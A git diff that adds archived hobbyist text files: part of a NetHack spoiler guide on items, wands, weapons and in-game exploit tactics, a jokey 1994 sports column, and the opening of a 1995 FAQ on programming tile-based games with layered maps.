(useful if you don't have a blindfold). +Figurine - when activated will provide a tame pet of the same type as the + figurine. +Fire horn - when played will act as a wand of fire; a ray of flame shoots out + in desired direction. +Flute - may calm snakes if player has enough dexterity. Can also be used to + get into the castle. +Frost horn - when played will act as a wand of cold; a ray of cold shoots out + in desired direction. +Harp - may calm nymph if player has enough dexterity. Can also be used to +Horn - will awaken monsters; range depends on player level. May also scare + monsters. +Ice box - will prevent monster corpses from spoiling if they are promptly + placed within the ice box. +Key - differently shaped keys will open differently shaped locks. +Lamp - will light up a room when activated. +Large box - holds things, but is very heavy. +Leash - will keep your pet with you, even if you fall through a trapdoor, + teleport, etc. However, your pet tends to get in your way more. +Lock pick - used to open locked doors and chests. +Magic flute - may put monsters to sleep; area of effect depends on player + level. +Magic harp - charms monsters; area of effect depends on player level. +Magic lamp - if rubbed, a djinni will appear. Djinnis from blessed lamps + will always give wishes; from normal lamps may give a wish (random); + from cursed lamps they will never give a wish. May be recharged once + with a blessed scroll of charging. +Magic marker - useful for writing graffiti on dungeon floors. Also can be + used to write spells on blank scrolls. +Magic whistle - will teleport all of your pets on the level to the same room + as you. +Mirror - can scare some monsters. Also useful for reflecting gaze attacks. + Can be used in conjunction with blindfold to determine relative position + of medusa or Wizard of Yendor. +Pick-axe - can be used to dig through walls. Also useful as a weapon. +Sack - will hold items, freeing inventory space. +Skeleton key - will open any locked door or chest. +Stethescope - will tell you stats on creature applied to (HP, level, AC, + gold, etc.). +Tinning kit - allows you to tin monster corpses to take with you. Heavy. +Tin opener - allows you to open tins easier. +Whistle - when blown, your pets will start heading in your direction. Other + monsters may do likewise, though. + +----------------------------------------------------------------------------- +Identifying Tools: + +Once again, make sure that the item is not cursed before playing around with +it. Most tools are fairly obvious as to their function. For instance, a +blindfold is always a blindfold, with no other magical properties. Certain +items (horns, for instance) will have more than one type that appear the same +though. Here's how you can figure out what they are: + +Bags - first of all, drop the bag on the ground and #loot it. If you feel +something furry, it's a bag of tricks. Otherwise, load up until you can't +carry anything more. Then dump some stuff into the bag (by applying it). If +you can then pick up more, it's a bag of holding. + +Drums - activate the drum. If it's a drum of earthquake, you'll know it +immediately from the pits opening up around you. + +Flutes - try playing the flute when you have several monsters around you. If +they go to sleep, it's a magical flute. + +Harps - try playing the harp when you have several monsters around you. If +they become charmed (tame), you have a magic harp. + +Horns - activate the horn, tell it to improvise, and give it a direction (if +it asks). You'll immediately notice the effect if it's magical. + +Keys - try a key on various locks. If it appears to open all of them, it's +probably a skeleton key. (Note, however, that a credit card works just as +well, and is lighter.) + +Lamps - try activating the lamp. If it has no oil, it's a magic lamp. + +Whistles - try blowing it. If it produces a high whistle, it's normal. A +wierd whistling will be a magic whistle. + +----------------------------------------------------------------------------- +Wands: + + Name Prob Cost Direct. +------------------------------------------ +| cancellation | 45 | 200 | Y | +| create monster | 45 | 200 | N | +| cold | 40 | 175 | RAY | +| death | 5 | 500 | RAY | +| digging | 55 | 150 | RAY | +| fire | 40 | 175 | RAY | +| light | 95 | 100 | N | +| lightning | 40 | 175 | RAY | +| locking | 40 | 150 | Y | +| magic missile | 50 | 150 | RAY | +| make invisible | 45 | 150 | Y | +| nothing | 25 | 100 | Y | +| opening | 40 | 150 | Y | +| polymorph | 45 | 200 | Y | +| probing | 30 | 150 | Y | +| secret door detection | 50 | 150 | N | +| sleep | 50 | 175 | RAY | +| slow monster | 55 | 150 | Y | +| speed monster | 55 | 150 | Y | +| striking | 75 | 150 | Y | +| teleportation | 45 | 200 | Y | +| undead turning | 55 | 150 | Y | +| wishing | 5 | 500 | N | +------------------------------------------ + +----------------------------------------------------------------------------- +Wand Effects: + +Reg = regular use of wand +Eng = when used to engrave +Cur = nothing different, but makes chance for explosion slightly higher. + +Cancellation + Reg - Destroys magical abilities of the monster(s) or item(s) aimed at. + demons- cancels ability to summon other demons + leprechauns - cancels teleport ability + nymphs- cancels magical allure + wraiths - cancels level drain +Cold + Reg - Does heavy damage along a line. Will also freeze over pools of + water or sections of the moat on the castle level. + Eng - "A few ice cubes drop off your wand." +Create monster + Reg - Creates a monster right next to you. + Eng - Creates a monster right next to you. +Death + Reg - If it hits, it kills all living things automatically. + Eng - "The bugs on the ground stop moving." +Digging + Reg - Produces new corridor sections. Can be used to dig out of creatures + that engulf you. + Eng - Identifies the wand. + "Gravel flies up from the floor." +Fire + Reg - Does heavy damage to all creatures along line. Will also evaporate + pools of water or sections of the moat on the castle level. + Eng - Identifies the wand. + "Flames fly from the wand." +Light + Eng - Lights up the room. + Reg - Will light up a dark room. +Lightning + Reg - Again, heavy damage in a line, may blind you if you get hit. + Eng - Identifies the wand, and blinds you. + "Lightning arcs from the wand. You are blinded by the flash." +Magic missile + Reg - Lower damage along a line, but still effective. + Eng - "The ground is riddled by bullet holes." +Make invisible + Reg - Makes monsters permanently invisible. + Eng - The engraving vanishes. +Polymorph + Reg - Will polymorph monster or item(s) aimed at into something else. +Probing + Reg - Gives stats (hp, hp max., gold) on the monster aimed at. +Secret door detection + Reg - Discovers all secret doors in room, or in sight if in a corridor. + Will also detect hidden monsters in the room (i.e. mimics). +Sleep + Reg - Causes monsters to go to sleep. (Some monsters get saving throw.) + Eng - "The bugs on the ground stop moving." +Slow monster + Reg - Monster aimed at moves at half normal speed. + Eng - "The bugs on the ground slow down." +Speed monster + Reg - Monster aimed at moves at twice normal speed. + Eng - "The bugs on the ground speed up." +Striking + Reg - Hits the first monster in the direction you aim it. A wand of + striking may also be used to destroy boulders, statues, or the + drawbridge on the castle level. + Eng - "The wand unsuccessfully fights your attempt to write." +Teleport away + Reg - Monster (or item) aimed at is teleported elsewhere on level. +Undead turning + Reg - Causes undead creatures (zombies, skeletons, etc.) to run away. + Raises corpses from the dead. + +Note: Many of these wands can be useful to zap yourself with (i.e. make +invisible, speed monster). + +----------------------------------------------------------------------------- +Identifying Wands: + +When identifying a wand, I generally start by engraving anything (usually I +use 'xxxxx') on a spot with my fingers (use the '-' key when asked what to +engrave with). Next, I try to engrave with the wand. The reason that I +engrave something else first is simple: a wand of polymorph will change the +writing to something else, thus identifying it. Also, a wand of cancellation +or make invisible will make any writing already on the spot disappear. A +wand of teleport will teleport the writing to another spot on the level. +Barring these four wand types, many wands will be either be immediately +identified upon trying to engrave (for instance, a wand of light will light +up the room or a wand wishing will give you a wish), and failing that, you +can often figure out what the wand is based upon the message that you're +given (see WAND EFFECTS above for effects that occur when engraving). + +If engraving doesn't identify the wand, find a handy monster to zap the wand +at (not your pet - they're not invincible). Make sure you're standing on a +diagonal from the monster, so the wand won't bounce back at you. Now, zap +the wand and see what happens. You'll often be able to immediately figure +out what happened. (A brief note here: be careful not to mistake make + +invisible for teleport - just because the monster disappears doesn't mean +it's not still there!) + +If you still can't figure out what it is, try zapping it when you're near +where you think a secret door is (to check for secret door detection) if it's +non-directional, or zap it at a doorway (to check for opening or locking) if +it's directional. + +Failing all of these tests usually means it's a wand of nothing. + +----------------------------------------------------------------------------- +Weapons: + +For information about how to compute hit probabilities and possible damage +for each listed weapon, see the two sections on HIT PROBABILITY and DAMAGE. + + Damage vs. + Name Description Prob Wt Cost Small Large +----------------------------------------------------------------------------- +| aklys | thonged club | 8 | 3 | 4 | 1-06 | 1-03 | +| arrow | | 37 | 0 | 2 | 1-06 | 1-06 | +| athame | | 0 | 2 | 4 | 1-04 | 1-03 | +| axe | | 50 | 3 | 8 | 1-06 | 1-04 | +| bardiche | long poleaxe | 8 | 3 | 7 | 2-08 | 3-12 | +| bec de corbin | beaked polearm | 8 | 3 | 8 | 1-08 | 1-06 | +| bill-guisarme | hooked polearm | 8 | 3 | 7 | 2-08 | 1-10 | +| boomerang | | 15 | 3 | 20 | 1-09 | 1-09 | +| bow | | 24 | 3 | 120 | 1-30 | 1-06 | +| bullwhip | | 5 | 2 | 4 | 1-02 | 1-01 | +| broadsword | wide sword | 8 | 4 | 10 | 2-08 | 2-07 | +| club | | 10 | 3 | 4 | 1-06 | 1-03 | +| crossbow | | 45 | 3 | 40 | 1-35 | 1-06 | +| crossbow bolt | | 60 | 0 | 2 | 2-05 | 2-07 | +| crysknife | | 0 | 3 | 100 | 1-10 | 1-10 | +| dagger | | 25 | 2 | 4 | 1-04 | 1-03 | +| dart | | 60 | 0 | 2 | 1-03 | 1-02 | +| dwarvish mattock | huge shiny sword | 15 | 6 | 50 | 1-12 | 3-20 | +| dwarvish short sword | short shiny sword | 2 | 3 | 10 | 1-07 | 1-08 | +| dwarvish spear | shiny spear | 12 | 3 | 5 | 1-08 | 1-08 | +| elven arrow | runed arrow | 10 | 0 | 2 | 1-07 | 1-06 | +| elven bow | runed bow | 12 | 3 | 120 | 1-35 | 1-06 | +| elven broadsword | wide runed sword | 4 | 4 | 10 | 2-10 | 2-07 | +| elven dagger | large runed knife | 8 | 2 | 4 | 1-05 | 1-03 | +| elven short sword | short runed sword | 2 | 3 | 10 | 1-08 | 1-08 | +| elven spear | runed spear | 10 | 3 | 5 | 1-07 | 1-08 | +| fauchard | pole sickle | 11 | 3 | 5 | 1-06 | 1-08 | +| flail | | 40 | 3 | 4 | 2-07 | 2-08 | +| glaive | single-edged polearm | 15 | 3 | 6 | 1-06 | 1-10 | +| guisarme | pruning hook | 11 | 3 | 5 | 1-04 | 1-08 | +| halberd | angled poleaxe | 16 | 3 | 10 | 1-10 | 2-12 | +| javelin | throwing spear | 10 | 3 | 5 | 1-06 | 1-06 | +| katana | samurai sword | 6 | 4 | 100 | 1-10 | 1-12 | +| knife | | 25 | 2 | 4 | 1-03 | 1-03 | +| lance | | 8 | 4 | 10 | 1-06 | 1-08 | +| long sword | | 60 | 4 | 15 | 1-08 | 1-12 | +| lucern hammer | pronged polearm | 10 | 3 | 7 | 2-08 | 1-06 | +| mace | | 40 | 4 | 8 | 2-07 | 1-06 | +| morning star | | 12 | 4 | 10 | 2-08 | 2-07 | +| orcish arrow | black arrow | 11 | 0 | 2 | 1-05 | 1-06 | +| orcish bow | black bow | 12 | 3 | 120 | 1-25 | 1-06 | +| orcish dagger | large black knife | 10 | 2 | 4 | 1-03 | 1-03 | +| orcish short sword | short black sword | 3 | 3 | 10 | 1-05 | 1-08 | +| orcish spear | black spear | 13 | 3 | 5 | 1-05 | 1-08 | +| partisan | vulgar polearm | 10 | 3 | 10 | 1-06 | 2-07 | +| quarterstaff | staff | 10 | 3 | 8 | 1-06 | 1-06 | +| ranseur | hilted polearm | 10 | 3 | 6 | 2-08 | 2-08 | +| rubber hose | | 0 | 2 | 4 | 1-06 | 1-03 | +| scalpel | | 0 | 1 | 4 | 1-04 | 1-03 | +| scimitar | curved sword | 6 | 4 | 15 | 1-08 | 1-08 | +| spear | | 55 | 3 | 5 | 1-06 | 1-08 | +| short sword | | 6 | 3 | 10 | 1-06 | 1-08 | +| shuriken | throwing star | 30 | 0 | 5 | 1-08 | 1-06 | +| silver arrow | | 8 | 0 | 2 | 1-06 | 1-06 | +| sling | | 40 | 2 | 20 | 1-04 | 1-06 | +| spetum | forked polearm | 10 | 3 | 5 | 2-07 | 2-12 | +| trident | | 8 | 4 | 15 | 2-07 | 3-12 | +| two-handed sword | | 40 | 5 | 50 | 1-12 | 3-18 | +| voulge | pole cleaver | 8 | 3 | 5 | 2-08 | 2-08 | +| war hammer | | 15 | 3 | 5 | 2-05 | 1-04 | +| worm tooth | | 0 | 3 | 2 | 1-02 | 1-02 | +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- +Artifacts: + +Artifacts, also known as named weapons, are the most powerful weapons in the +game. They can be wished for, granted by your god, and some of them can +a longsword in a fountain (see FOUNTAIN EFFECTS), and Sting or Orcrist can be +obtained by naming the appropriate weapons. Polymorphing a regular weapon +into an artifact is no longer possible. + +Artifacts may also have special features. These special features are +explained below. Finally, all artifacts have an alignment. This affects +your chances of getting a given weapon from your deity (i.e. a lawful god +will not bestow a neutral weapon). + +Certain weapons will have a monster listed under the what column. If so, the +artifact's bonuses are only gained against that type of monster. Against +other creatures the artifact fights as a regular weapon of its type. + +For more information on how to compute hit probabilities, how much damage an +artifact does, and what the relative hit and damage bonuses are, see the +sections on HIT PROBABILITY and DAMAGE. + +----------------------------------------------------------------------------- +| | | | | +| Name | Weapon type Special | What |Al | +|---------------------------------------------------------------------------- +| Cleaver | Axe 3 | 1 | 2 | | | C | +| Demonbane | Long sword | 5 | x2 | | demons | L | +| Dragonbane | Broadsword | 5 | x2 | | dragon | N | +| Excalibur | Long sword | 5 | 10 | seek, def., search| | L | +| Fire brand | Long sword | 5 | x2 | defend, fire | | N | +| Frost brand | Long sword | 5 | x2 | defend, cold | | N | +| Giantslayer | Long sword | 5 | x2 | | giants | N | +| Grimtooth | Orcish dagger | 2 | 6 | | | C | +| Mjollnir | War hammer | 5 | 24 | shock | | L | +| Ogresmasher | War hammer | 5 | x2 | | ogres | L | +| Orcrist | Two handed sword | 5 | x2 | | orcs | L | +| Snickersnee | Katana | 0 | 8 | | | L | +| Sunsword | Long sword | 5 | x2 | | undead | L | +| Sting | Elven dagger | 5 | x2 | warn | orcs | L | +| Stormbringer | Broadsword | 5 | 2 | defend, drain lvl | | C | +| Trollsbane | Morning star | 5 | x2 | | trolls | L | +| Werebane | Long sword | 5 | x2 | | weres | L | +----------------------------------------------------------------------------- + +These are the special abilities: + +cold - The extra damage done is cold damage, and as a result will not affect + cold resistant creatures. +defend - This will defend you against whatever special attack type the + artifact has. Excalibur and Stormbringer defend against level draining + attacks (even though Excalibur can't drain levels itself), Frost brand + defends against cold cold based attacks (i.e. gives cold resistance), + and Fire brand defends against fire based attacks (i.e. gives fire + resistance). +drain level - This will drain a level from the creature attacking, + effectively making it less powerful as well as removing eight hp from + it. +fire - The extra damage done is fire damage, and as a result will not affect + fire resistant creatures. +search - Will aid you in searching, much as a ring of searching. +seek - This should (eventually) "aid you in seeking objects." Currently, this + ability is unimplemented. +shock - The extra damage done is electrical damage, and as a result will not + affect shock resistant creatures. +warn - Will warn you when more monsters more powerful than you are around, + much as a ring of warning. + +Also, note that Excalibur, if gained via dipping in a fountain or via +becoming the Hand of Elbereth, will be rust proof. Stormbringer, if gained +via becoming the Hand of Elbereth will also be rust proof. Stormbringer and +Excalibur, if gained via other means (including wishing), as well as all +other named weapons, are not rust proof unless they are rust proofed by a +player character (i.e. you rust proof it yourself or find it on a bones +level, and the previous owner had rust proofed it). + + + ---------------------------------------------------------- + | Appendices | + ---------------------------------------------------------- +----------------------------------------------------------------------------- +Nethack Abuse: + +This section details several scenarios that most experienced players would +term "Nethack Abuse." They generally involve characters with specific items +and specific methods for quickly going up levels or gaining many items. For +previous versions of nethack this section would have been much larger, but +the dev team has (quite intelligently) removed many of the more blatant +methods of abuse (such as polypiling for wands of wishing). + +Scenario 1: Sinks can be a wonderful means to gain levels, items of all +sorts, and intrinsics. This is all possible because a sink, when kicked, +will often disgorge a black pudding, and black puddings divide when attacked. +This means that with just a few extra props you can quickly gain all the +aforementioned items. First of all, you'll need some way of protecting +yourself from the puddings. This is best accomplished by a scroll of scare +monster or engraving Elbereth on the ground (either use something that will +make a permanent inscription or have a means of levitating over the +engraving, because you'll scuff it out otherwise). Do this on a spot +adjacent to the sink. + +Next, find a room with a sink in it. You'll need to carefully prepare this +room for your upcoming fun. Shut (and lock if possible) all the doors into +the room. If any of the exits don't have doors, engrave Elbereth in the +doorway to prevent other monsters from bothering you. Also, make sure your +pet is out of the room, and stays out (it'll probably get killed otherwise). +Try dropping something cursed in any open doorways. That'll keep it out. + +Now, go back to the spot that you've prepared next to the sink and kick the +sink until it disgorges a black pudding. When the black pudding gets close, +hit it. It'll probably divide. Keep hitting the black puddings - you'll +often divide them, eventually kill them, and when you run out, kick the sink +a few more times until you get another one. Eat the fresh black pudding +corpses to gain intrinsics, pick up the stuff that they leave lying around, +and soak up those experience points for killing them. + +Of course, all of this is sweetened immensely if you happen to have an altar +nearby. Keep sacrificing the black pudding corpses and you'll get all sorts +of wonderful things! + +Scenario 2: (This isn't really a major "abuse" type, as it does fall under +the planned scope of the game, but nevertheless...) Ever found a wand of +polymorph and wondered what it's useful for? Many people find one useful for +polymorphing ;pets into something nasty, or for polymorphing themselves and +hoping to turn into something powerful, but one thing that a lot of people +don't know is that you can aim a wand of polymorph at an item or pile of +items, or even up to five piles of items lined up in a row, and it will +polymorph every item in all the piles. Thus, if you need a particular item, +this can be a way to get it - just create it yourself via polymorphing! + +When polypiling (as the resident nethackers term it), it is important to +remember a few things. First of all, all items will remain within the same +object class when polymorphed. Thus, a weapon become a different weapon +after being polymorphed, a ring will become a ring, a scroll will become a +scroll, etc. There are two exceptions to this rule. The first is that a +unicorn horn or a worm tooth will become a weapon when polymorphed. The +second is that a dragon corpse will become dragon scale mail of that type of +dragon when polymorphed. + +The next thing to remember is that items will retain charges, +blessing/curses, bonuses, etc., when polymorphed. Thus, a wand will still +have the same number of charges after it's polymorphed, a sword will still +have the same blessing/curse after being polymorphed, and will still be plus +or minus whatever it was before. Thus, it's a good plan to remove all the +curses on items (along with any minuses on weapons) before polypiling. This +can be accomplished by zapping a wand of cancellation at the item(s). Just +be careful, though, because this will also remove blessings and bonuses that +the weapon might have, which you might want to keep. + +The final rule to remember is that certain "polypile abuses" which used to be +quite common no longer work. You can no longer polymorph a wand into a wand +of wishing, and you can no longer polymorph a tool into a magic lamp. Thus, +you can't gain (basically) infinite wishes. Also, it is no longer possible +to gain named weapons (artifacts) via polypiling. + +Oh, one of the nice things to remember about poly-piling is that corpses will +always be turned into a regular type of food, that is not spoiled. So, if +you kill off a large room full of monsters, pile up the corpses and zap them +all with the wand of polymorph. You'll end up with a pile of food rations, +melons, candy bars, slime molds, and the like, which won't spoil, unlike the +corpses. This can also be a handy trick to get tins of spinach. + +Scenario 3: Another classical form of nethack abuse is known as the "Troll +Dance of Death." It is named this because of the fact that trolls have the +uncanny ability to come back from the dead if the corpse is not disposed of. +However, no matter how many times a troll dies, you always get experience +points for killing him, and there's always a chance that he'll be carrying +something when he dies, even if he wasn't the last time you killed him. + +Thus, once you have a fairly powerful character, if you want to gain +experience points and possibility quite a few good items, find a troll and +engage him in the dance of death. Kill him, then pick up anything good you +might find on the corpse. Wait for a bit (whilst regaining hit points) until +he raises from the dead, and then kill him again. You can keep this up +basically indefinitely, and the only precautions you might want to take are +to prevent other creatures from entering the room where you're having fun. +This can be easily accomplished by engraving Elbereth in the doorways. Have +fun! + +----------------------------------------------------------------------------- +Expected In Version 3.1: + +Many people have wondered about the fabled version 3.1 of Nethack. This new +version has been in the works by the nethack "Dev Team" for a period of more +than a year now, and it is still hush-hush, with no release date(s) given or +projected. We have, however, managed to glean a few pieces of information +about version 3.1 of nethack, and have included them here for you. + +STOP DROOLING! + +All right then... On to the details: + +Messages will be more verbose when you are using artifacts. For instance, +Stormbringer currently tells you "The black blade drains life from the +(insert poor hapless creature's name here)." Fire brand, for instance, might +say "The fiery blade burns the (monster)," or, if the monster was immune, +"The (monster) seems not to be affected by the flame of your blade." + +The bug that has been running around for quite some time now which allows +bags of holding to hold basically limitless quantities of stuff (by playing +with the blessed/cursed status of the bag) will be fixed. Thus, some of the +scores that were being obtained by dilithium crystaldiving will be much more +difficult to get, because the amount of dilithium you can carry out of the +dungeon will be severely limited. + +The entire vision and display system of nethack has been re-written. Among +other things, this will fix the annoying problem of teleported stuff not +showing up on your screen or creating blank spots randomly scattered around +the screen. Question: Will this mean that nethack will now have an improved +line of sight algorithm, similar to the one currently being used in Moria? + +New ranged effects have been added. This will allow, for instance, fireballs +to go until they hit a monster and then explode in a radius around that +monster, instead of just going in a line like they currently do. It is also +rumored that various other cloud type effects will be included. + +There will supposedly be several new special levels and/or rooms, although no +details as to what exactly these will be are available. Also, nethack's +level handling capabilities have been re-written so that it will now be very +easy for the Dev Team (and others!) to add in new special levels or new +special rooms. + +It is rumored that some "Nethack Abuses" have been made impossible. +Specifically, paralyzing the Wizard of Yendor and taking advantage of kicking +sinks have supposedly been fixed or limited. + diff --git a/textfiles.com/games/spor b/textfiles.com/games/spor new file mode 100644 index 00000000..af050384 --- /dev/null +++ b/textfiles.com/games/spor @@ -0,0 +1,75 @@ +The Sports Page +Copyright (c) 1994, Tommy Van Hook +All rights reserved + + +Welcome to yet another edition of the Sunlight Through The +Shadows Sports Page! It's a strange world out there in sports, +so let's all pretend to understand it, shall we? + +By the time you read this, it will more than likely be 1995. Do +you ever wonder if there is going to be Major League Baseball in +1995? Well, you are not the only one. There are approximately +800 ball players wondering the same thing. The owners have put +off implementing the salary cap for one week, in order to +continue negotiations with the Players' Union. It looks like the +two sides are at least starting to talk with one another. It's a +good thing that some progress was being made. The prevalent +rumor was that the Clinton Administration was going to ask former +President Jimmy Carter to mediate if talks continued to stall. +Anyway, on to the sweaty jocks in the NFL locker rooms. + +It's almost playoff time. Suddenly, the Dallas Cowboys don't +look like the "sure thing" that they once were. It looks like +the San Francisco 49ers have much more drive/hunger than the +'Boys. It's a good thing too. I, for one, was getting sick of +the Buffalo Bills (already eliminated from the playoffs) and the +Dallas Cowboys playing the final game of the season. However, I +didn't get my wish for the playoffs. While the Oilers eliminated +themselves with a poor record, my request to form a team from the +centerfolds of Playboy's past was nixed by the Commissioner's +office. The explanation that I was given was that the team MUST +wear something besides shoulder-pads. + +The other night, I went to watch a basketball game at Reunion +arena. The game was between the Los Angeles Lakers and the +Dallas Mavericks. At this game, I saw Jesus Christ...and he was +wearing a Lakers uniform. Nick Van Exel shot the lights out of +the arena that night, raining three-pointers from everywhere on +the floor. If you ever had doubts about the second coming of +Christ, Nick Van Exel will put those doubts to rest. At the same +game, Mavericks forward Roy Tarpley was suspended for arguing +with coach Dick Motta. The incident was really strange. Tarpley +had turned the ball over a bit too much for Motta's liking. +Motta pulled Tarpley out of the game, and Roy commented that the +move was "bullshit." Motta promptly told Tarpley to "sit your +ass down at the end of the bench and shut up." Tarpley continued +the argument in the locker room at the half, and Motta suspended +him on the spot. What does this say for the Dallas Mavericks, +Roy Tarpley, and Dick Motta? The Dallas Mavericks showed great +poise as a team by ignoring what had happened between Motta and +Tarpley, while Roy Tarpley showed us why he should never have +been reinstated in the NBA. And Dick Motta proved to the Dallas +Mavericks, it's fans and the media that he is the ONLY coach of +the Dallas Mavericks. Bravo for Dick Motta. + +Boxing-On-Ice (Hockey) is still in a state of limbo. Not being a +big fan of this game, I personally could care less. However, +there are people out there that adore this sport. Of course, if +I wanted violence in my life, I would date a Dominatrix. + +Speaking of violence, the word is out that the doctors have +cleared Evander Holyfield to come back and fight again. +Holyfield was forced to retire with a heart condition that could +have killed him. While I admire Evander's drive/desire to fight +again, I think this moron needs to have his brain checked out to +see if he is fit enough to think. + +Well, here's to hoping that we can get a nationally sanctioned +Female Mud Wrestling League going in the near future. The only +question that I have is: What group of people should we target +as a potential audience?? (grin) + +Till next month.... + + \ No newline at end of file diff --git a/textfiles.com/games/tilefaq.txt b/textfiles.com/games/tilefaq.txt new file mode 100644 index 00000000..4cdc22a0 --- /dev/null +++ b/textfiles.com/games/tilefaq.txt @@ -0,0 +1,694 @@ + + =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + - Tile-Based Games FAQ version 1.2 = + = by Greg Taylor - + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + +File : tilefaq.12 +Home site: x2ftp.oulu.fi : pub/msdos/programming/docs +Version : 1.2 +Released : 4-20-95 + +Tilefaq 1.2 Copyright 1995 Greg Taylor. All rights reserved. +Appendix I Copyright 1995 Chris Palmer. All rights reserved. + This document is freely redistributable provided that is + distributed in its entirety, with this copyright notice + included verbatim. There are no restrictions on works + derived from this document. + + +------------------------- +- I : Introduction... - +------------------------- +There has been a fair response to my initial release of this file +and there have been many requests for additional information, all of +which I will cover in this version. + +This FAQ emphasizes on the style of graphics similar to those used +in U6 and U7 by Origin. Many of the techniques presented are aimed +at systems with limited memory and/or speed like PCs with a 640K barrier; +but this document also includes alternative methods and suggestions +on how to code for less restrictive systems. This is just a brief, +but hopefully complete overview of one method to achieving the +Tile-based style. There are other methods and I'd like to hear about +them, because much of this FAQ has been pieced together from various +implementations of the 'Tile' graphics style. + + +--------------------------------- +- II : Multiple layered maps. - +--------------------------------- +This is an essential section to master because of the possibilities +that stem from having more than one layer of map. Almost all of your +traditional effects can be more easily implemented with a multi-layer +map as compared to a single layered one. + +One of the key considerations when doing a multi-layer map is the +speed of your drawing routines. Since you may be drawing each tile +several times, the speed at which that routine performs is vital to +producing a fast game. These should be coded in Assembly if possible +or if in a higher level language, should be optimized as well as +possible. + +A 'SEE-THRU' tile placement routine is another important tool that +is a major part of Tile-games. I would separate my place-tile routine +into two independent routines, one with 0 pixels 'SEE-THRU' and the +other which doesn't. This allows you to place tiles that don't have +the need for the SEE-THRU option to be drawn faster. + +----------------------------------- +- II i : SEE-THRU Tile routines - +----------------------------------- +For those who do not have a SEE-THRU routine written and are wondering +how you write one, here's a brief overview. Basically, when you are +copying your tile over, copy only the non-zero pixels to the screen +(it doesn't -have- to be zero, it can be any of the palette values, but +zero has become a sort of standard). And when you draw your tiles, +color the areas which you would like to be seen thru, with the zero +color. Thus allowing you to lay one tile over another, without +destroying all of the image beneath. + +A SEE-THRU routine is slower due to the check for the zero value, +so it should only be used when necessary. + +Another 'SEE-THRU' sort of technique I've seen used is what the programmer +termed a 'SEE-FORTH' routine. In this one he checked the destination +pixel and only put the pixel color where there wasn't already a pixel there +(ie the pixel location had a value of 0). This routine is not as useful +in tile games, but it is a possibility that I've seen used, so I thought +I'd mention it. + + +--------------------------------- +- II ii : The Multiple Layers - +--------------------------------- +I use a three-layer map and it works fairly well for all of the things +I do in my tile games. A fourth layer can provide even more effects +and a two layer map is possible as well, but I find three to be the +optimum number. + +I split the layers up as such...(these will be referenced to throughout +the remainder of this text) + + Layer Name - The types of tiles used in each layer... + BASE : Grass, Dirt, Brick, Stone, Doors, Water... + FRINGE : Trees, Rocks, Tables... + OBJECT : Swords, Booty, People, Monsters, Keys... + +A sample map variable declaration with three layers might be...(C code) + + #define SIZE 128 + + typedef struct { + unsigned char base[SIZE][SIZE]; + unsigned char frng[SIZE][SIZE]; + unsigned char obj[SIZE][SIZE]; + } maptype; + +Or perhaps...(to address the layers numerically) (C code) + + typedef unsigned char maptype[3][SIZE][SIZE]; + +These are drawn on the screen in the order as listed above. The BASE +layer is drawn first, without the use of your SEE-THRU routine (Since +it's the base). Then you draw the FRINGE over the BASE using your +SEE-THRU routine. + +The FRINGE layer is about the most useful tool in producing powerful +graphics easily. A FRINGE tile might be a tree, with zero-values every +where around the tree. Then you could place the tree on any of the +BASE tiles. This allows you to have one tree drawing, but it can be +a 'tree-on-grass' or a 'tree-on-dirt' or even a strange 'tree-in-the- +water'. + +Other possible FRINGE tiles are transitions. These are like going +>from grass-to-dirt or dirt-to-stone. The FRINGE layer allows you to +draw one set of transitions, for example grass, and then use those +to do all of your grass-to-?? transitions. This is a nice use of the +FRINGE layer to save you from drawing endless tiles. + +Tables and other non-pick-up-able objects are perfect for FRINGE, this +way they can be placed on any BASE tile you like. The possible uses of +this layer of map are enormous. + +After drawing both of the other layers, draw your OBJECT layer. This +layer is where you store things that move or can be picked up, etc. +including monsters, keys, townspeople... This makes it easy to pick +up and put down objects without destroying other parts of your map. + + +--------------------------------------------------------- +- III : Walkability - restricting character movement. - +--------------------------------------------------------- +I usually assign an attribute I call the 'walkability' to my BASE tiles. +This provides a fast, easy, way to check whether you can/cannot move +to a certain space, and it also helps you to control other special +occurrences with a relative level of ease. + +At each position in my map arrays, I have a byte (unsigned char) value +which serves as both the tile-index and the walkability value. I use +a set of 128 tiles, and split them up as such... + + 0-127 + 0-63 : Normal, walkable tiles, dirt, grass etc. + 64-127 : Normal, unwalkable tiles, walls, etc. + 128-255 + 128-191 : Special tiles, group 1 + 192-255 : Special tiles, group 2 + +When I'm drawing the screen, I simply use the REM (or MOD) statement or +equivalent to get the proper value, by MODing the number by 128. This +gives a value from 0-127, which is the actual tile-index number. When it +comes to checking if that tile is 'walkable', you then would divide the +number by 64, yielding a value of 0, 1, 2, or 3... + + 0 : Walking is OK + 1 : Walking is not OK + 2 : Special thing happens when they step here - group 1 + 3 : Special thing happens when they step here - group 2 + + +The first two values are simply understood, but the special values might +need some explaining...This allows you to program in special occurrences +that happen when that space is walked on. When it hit's a special square +for instance, you would check through the special spots list for the x,y +coords of the spot that triggered the special occurrence and the level map +that it is on. This allows an easy way to throw cool stuff into your +game with little work. Why it is split into two groups is so that you +need not search ALL of your specials for that particular map at once, +searching for the effects of that one. + +You will note that the WA (Walkability) value of 3 represents the section +of tiles which are unwalkable normally (like walls etc.) These can make +for excellent 'secret' walls and so forth. + +The walkability setting can also be stored as a separate element of your +map structure, to increase speed, at the expense of memory. Having it +as a separate element allows you to include many more than 4 settings +to the rating, allowing for 'level exits' and so forth without having +to resort to listing them as 'specials'. The method I list above with +the byte being split into the various categories is the most general +compromise between, ease, speed, and memory, I have come up with; but on +systems where memory is not much of a constraint, having walkability stored +in a seperate element of the map structure is usually a better way to go. + +More mention is made to the 'Walkability' values later in the text. + + +---------------------------------- +- VI : Disappearing Roof Tiles - +---------------------------------- +This effect can be done using my multi-layer method by simply sectioning +off a few of your base tiles (say 48-63 for example) as 'FLOOR' types. +These would have another tile in memory as well as their normal tile, +for when those floors are covered. In general, all of the FLOOR types +will be covered most of the time. When drawing your screen and come +upon a tile that is a FLOOR tile, then you'd check to see if the player +was standing on a tile of that type... If not, draw -only- the alternate +'ROOF' tile which corresponds to that FLOOR tile. If the player -is- +standing on a FLOOR tile of that type, draw the BASE, FRINGE and OBJECT +layers normally. This way you can have only the roofs where the player +is, disappear when they enter a building. (also see Appendix I) + + +------------------------------------------------ +- V : Tilted effects, using the FRINGE Layer - +------------------------------------------------ +I like the 'tilted' look in my tile projects, it gives a 